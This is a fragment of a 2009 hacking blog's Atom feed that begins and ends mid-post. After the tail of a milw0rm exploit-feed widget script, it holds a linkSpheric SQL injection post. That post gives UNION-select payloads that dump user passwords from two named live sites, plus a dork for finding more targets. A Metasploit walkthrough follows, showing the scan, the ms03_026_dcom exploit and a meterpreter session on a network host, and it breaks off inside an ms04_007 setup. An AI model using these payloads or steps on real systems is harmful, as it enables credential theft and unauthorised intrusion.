119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;i_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;4&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;++)&lt;br /&gt;  {&lt;br /&gt;    if (&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;count_column_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;== &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"1"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;)&lt;br /&gt;    {&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'\n&lt;tr&gt;&lt;td align=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_align_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" valign="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_valign_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" height="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_height_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" bgcolor="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_bgcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;&lt;div id=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;&lt;nobr&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Updating...&lt;/div&gt;&lt;/span&gt;&lt;/nobr&gt;&lt;/td&gt;&lt;/tr&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;base_colour_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column1_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;    else&lt;br /&gt;    {&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+=&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'\n&lt;tr&gt;&lt;td align=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_align_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" valign="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_valign_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" height="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_height_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" bgcolor="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column1_bgcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;&lt;nobr&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column1_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;div id=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;/div&gt;&lt;/span&gt;&lt;/nobr&gt;&lt;/td&gt;&lt;td align=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_align_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" valign="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_valign_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" height="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_height_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" width="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_width_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" bgcolor="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_bgcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;&lt;div style="width: 446px;overflow: hidden;" id=""&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;lid_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;&lt;nobr&gt;' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'Updating...&lt;/div&gt;&lt;/span&gt;&lt;/nobr&gt;&lt;/td&gt;&lt;/tr&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;base_colour_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;font_column2_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'&lt;span &gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tsize_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" face="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_ttheme_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'" color="' &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;column2_tcolour_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+ &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;    }&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;write&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"=== MILW0RM info feed error: Specify value of count &gt; 0 ==="&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1 &lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;+= &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'\n&lt;/table&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;document&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;write&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;htmltxt_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;update_Module1&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;();&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&lt;/script&gt;&lt;br /&gt;&lt;/span&gt;&lt;!-- MILW0RM info feed: latest 10 remote exploits - END --&gt; &lt;/span&gt;&lt;/code&gt;&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1549394260703170472?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1549394260703170472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/milw0rm-javascript-content-parser-v30.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1549394260703170472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1549394260703170472'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/milw0rm-javascript-content-parser-v30.html' title='milw0rm Javascript Content Parser v3.0'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-7318680614435714546</id><published>2009-08-04T08:01:00.001-07:00</published><updated>2009-08-26T19:34:06.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>linkSpheric 0.74 Beta 6 SQL Injection Vuln</title><content type='html'>&lt;pre&gt;&lt;span style="font-weight: bold;"&gt;[o] linkSpheric 0.74 Beta 6 SQL Injection Vulnerability&lt;br /&gt;&lt;/span&gt;Software : linkSpheric version 0.74 Beta 6&lt;br /&gt;Vendor   : http://dataspheric.com/&lt;br /&gt;Download : http://sourceforge.net/projects/linkspheric/&lt;br /&gt;Author   : NoGe&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[o] Vulnerable file&lt;/span&gt;&lt;br /&gt;viewListing.php&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[o] Exploit&lt;br /&gt;&lt;/span&gt;http://localhost/[path]/viewListing.php?listID=[SQL]&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;[o] Proof of concept&lt;br /&gt;&lt;/span&gt;http://dataspheric.com/directory/viewListing.php?listID=-52+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,group_concat(userName,0x3a,password),21,22,23,24,25,26,27,28+from+users--&lt;br /&gt;http://pcmsite.net/links/viewListing.php?listID=-5+union+select+1,2,3,4,5,6,7,8,group_concat(userName,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+users--&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;[o] Dork&lt;br /&gt;&lt;/span&gt;"Powered by linkSpheric"&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-7318680614435714546?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/7318680614435714546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/linkspheric-074-beta-6-sql-injection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/7318680614435714546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/7318680614435714546'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/linkspheric-074-beta-6-sql-injection.html' title='linkSpheric 0.74 Beta 6 SQL Injection Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-6657590981689648397</id><published>2009-08-04T06:16:00.000-07:00</published><updated>2009-08-26T19:30:21.216-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Metasploit Proof of Concept [ Linux ]</title><content type='html'>&lt;pre&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family:monospace;"&gt;this is an old exploit but still works&lt;br /&gt;i have test it on Local Area Network here&lt;br /&gt;this exploit tested on &lt;/span&gt;&lt;span style="font-family:monospace;"&gt;Windows XP Service Pack 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:monospace;"&gt;&lt;br /&gt;[o] DCOM RPC Exploit (ms03_026_dcom)&lt;br /&gt;&lt;br /&gt;# Description&lt;br /&gt;This module exploits a stack overflow in the RPCSS service, this&lt;br /&gt;vulnerability was originally found by the Last Stage of Delirium&lt;br /&gt;research group and has bee widely exploited ever since. This module&lt;br /&gt;can exploit the English versions of Windows NT 4.0 SP3-6a, Windows&lt;br /&gt;2000, Windows XP, and Windows 2003 all in one request :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;root@ubuntu:~# ping 172.16.1.31&lt;br /&gt;PING 172.16.1.31 (172.16.1.31) 56(84) bytes of data.&lt;br /&gt;64 bytes from 172.16.1.31: icmp_seq=1 ttl=128 time=2.09 ms&lt;br /&gt;64 bytes from 172.16.1.31: icmp_seq=2 ttl=128 time=0.335 ms&lt;br /&gt;64 bytes from 172.16.1.31: icmp_seq=3 ttl=128 time=0.342 ms&lt;br /&gt;^C&lt;br /&gt;--- 172.16.1.31 ping statistics ---&lt;br /&gt;3 packets transmitted, 3 received, 0% packet loss, time 2005ms&lt;br /&gt;rtt min/avg/max/mdev = 0.335/0.922/2.091/0.826 ms&lt;br /&gt;&lt;br /&gt;root@ubuntu:~# nmap -O -PN 172.16.1.31&lt;br /&gt;&lt;br /&gt;Starting Nmap 4.62 ( http://nmap.org ) at 2009-06-21 09:56 WIT&lt;br /&gt;Interesting ports on ******-******.kapukvalley.net (172.16.1.31):&lt;br /&gt;Not shown: 1710 closed ports&lt;br /&gt;PORT     STATE SERVICE&lt;br /&gt;135/tcp  open  msrpc&lt;br /&gt;139/tcp  open  netbios-ssn&lt;br /&gt;445/tcp  open  microsoft-ds&lt;br /&gt;1025/tcp open  NFS-or-IIS&lt;br /&gt;5000/tcp open  upnp&lt;br /&gt;MAC Address: 00:1C:F0:5A:98:AF (D-Link)&lt;br /&gt;Device type: general purpose&lt;br /&gt;Running: Microsoft Windows 2000&lt;br /&gt;OS details: Microsoft Windows 2000 SP0/SP1/SP2 or Windows XP SP0/SP1&lt;br /&gt;Network Distance: 1 hop&lt;br /&gt;&lt;br /&gt;OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;Nmap done: 1 IP address (1 host up) scanned in 1.860 seconds&lt;br /&gt;&lt;br /&gt;root@ubuntu:~# cd /home/noge/pentest/metasploit/&lt;br /&gt;root@ubuntu:/home/noge/pentest/metasploit# ./msfconsole&lt;br /&gt;&lt;br /&gt;           |                    |      _) |&lt;br /&gt;__ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|&lt;br /&gt;|   |   |  __/ |   (   |\__ \ |   | | (   | | |&lt;br /&gt;_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|&lt;br /&gt;                         _|              &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  =[ msf v3.3-dev&lt;br /&gt;+ -- --=[ 378 exploits - 234 payloads&lt;br /&gt;+ -- --=[ 20 encoders - 7 nops&lt;br /&gt;  =[ 154 aux&lt;br /&gt;&lt;br /&gt;msf &gt; use windows/dcerpc/ms03_026_dcom&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; set PAYLOAD windows/meterpreter/bind_tcp&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/bind_tcp&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name   Current Setting  Required  Description    &lt;br /&gt;----   ---------------  --------  -----------    &lt;br /&gt;RHOST                   yes       The target address&lt;br /&gt;RPORT  135              yes       The target port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/bind_tcp):&lt;br /&gt;&lt;br /&gt;Name      Current Setting  Required  Description                      &lt;br /&gt;----      ---------------  --------  -----------                      &lt;br /&gt;EXITFUNC  thread           yes       Exit technique: seh, thread, process&lt;br /&gt;LPORT     4444             yes       The local port                   &lt;br /&gt;RHOST                      no        The target address               &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name                                 &lt;br /&gt;--  ----                                 &lt;br /&gt;0   Windows NT SP3-6a/2000/XP/2003 Universal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; set RHOST 172.16.1.31&lt;br /&gt;RHOST =&gt; 172.16.1.31&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; set TARGET 0&lt;br /&gt;TARGET =&gt; 0&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name   Current Setting  Required  Description    &lt;br /&gt;----   ---------------  --------  -----------    &lt;br /&gt;RHOST  172.16.1.31      yes       The target address&lt;br /&gt;RPORT  135              yes       The target port&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/bind_tcp):&lt;br /&gt;&lt;br /&gt;Name      Current Setting  Required  Description                      &lt;br /&gt;----      ---------------  --------  -----------                      &lt;br /&gt;EXITFUNC  thread           yes       Exit technique: seh, thread, process&lt;br /&gt;LPORT     4444             yes       The local port                   &lt;br /&gt;RHOST     172.16.1.31      no        The target address               &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name                                 &lt;br /&gt;--  ----                                 &lt;br /&gt;0   Windows NT SP3-6a/2000/XP/2003 Universal&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms03_026_dcom) &gt; exploit&lt;br /&gt;&lt;br /&gt;[*] Started bind handler&lt;br /&gt;[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...&lt;br /&gt;[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:172.16.1.31[135] ...&lt;br /&gt;[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:172.16.1.31[135] ...&lt;br /&gt;[*] Sending exploit ...&lt;br /&gt;[*] Transmitting intermediate stager for over-sized stage...(191 bytes)&lt;br /&gt;[*] The DCERPC service did not reply to our request&lt;br /&gt;[*] Sending stage (2650 bytes)&lt;br /&gt;[*] Sleeping before handling stage...&lt;br /&gt;[*] Uploading DLL (75787 bytes)...&lt;br /&gt;[*] Upload completed.&lt;br /&gt;[*] Meterpreter session 1 opened (172.16.1.12:38423 -&gt; 172.16.1.31:4444)&lt;br /&gt;&lt;br /&gt;meterpreter &gt; pwd&lt;br /&gt;C:\WINDOWS\system32&lt;br /&gt;meterpreter &gt; sysinfo&lt;br /&gt;Computer: ******-******&lt;br /&gt;OS      : Windows XP (Build 2600, Service Pack 1).&lt;br /&gt;meterpreter &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=============================================================================================&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:monospace;"&gt;=============================================================================================&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:monospace;"&gt;&lt;br /&gt;[o] KILLBILL SMB Exploit (ms04_007_killbill)&lt;br /&gt;&lt;br /&gt;# Description&lt;br /&gt;This is an exploit for a previously undisclosed vulnerability in the&lt;br /&gt;bit string decoding code in the Microsoft ASN.1 library. This&lt;br /&gt;vulnerability is not related to the bit string vulnerability&lt;br /&gt;described in eEye advisory AD20040210-2. Both vulnerabilities were&lt;br /&gt;fixed in the MS04-007 patch. You are only allowed one attempt with&lt;br /&gt;this vulnerability. If the payload fails to execute, the LSASS&lt;br /&gt;system service will crash and the target system will automatically&lt;br /&gt;reboot itself in 60 seconds. If the payload succeeeds, the system&lt;br /&gt;will no longer be able to process authentication requests, denying&lt;br /&gt;all attempts to login through SMB or at the console. A reboot is&lt;br /&gt;required to restore proper functioning of an exploited system. This&lt;br /&gt;exploit has been successfully tested with the win32/*/reverse_tcp&lt;br /&gt;payloads, however a few problems were encounted when using the&lt;br /&gt;equivalent bind payloads. Your mileage may vary.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf &gt; use windows/smb/ms04_007_killbill&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; set PAYLOAD windows/meterpreter/bind_tcp&lt;br /&gt;PAYLOAD =&gt; windows/meterpreter/bind_tcp&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; show options&lt;br /&gt;&lt;br /&gt;Module options:&lt;br /&gt;&lt;br /&gt;Name   Current Setting  Required  Description                    &lt;br /&gt;----   ---------------  --------  -----------                    &lt;br /&gt;PROTO  smb              yes       Which protocol to use: http or smb&lt;br /&gt;RHOST                   yes       The target address             &lt;br /&gt;RPORT  445              yes       Set the SMB service port       &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Payload options (windows/meterpreter/bind_tcp):&lt;br /&gt;&lt;br /&gt;Name      Current Setting  Required  Description                      &lt;br /&gt;----      ---------------  --------  -----------                      &lt;br /&gt;EXITFUNC  thread           yes       Exit technique: seh, thread, process&lt;br /&gt;LPORT     4444             yes       The local port                   &lt;br /&gt;RHOST                      no        The target address               &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Exploit target:&lt;br /&gt;&lt;br /&gt;Id  Name                                  &lt;br /&gt;--  ----                                  &lt;br /&gt;0   Windows 2000 SP2-SP4 + Windows XP SP0-SP1&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; set RHOST 172.16.1.31&lt;br /&gt;RHOST =&gt; 172.16.1.31&lt;br /&gt;msf exploit(ms04_007_killbill) &gt; show targets&lt;br /&gt;&lt;br /&gt;Exploit targets:&lt;br /&gt;&lt;br /&gt;Id  Name                                  &lt;br /&gt;--  ----                                  &lt;br /&gt;0   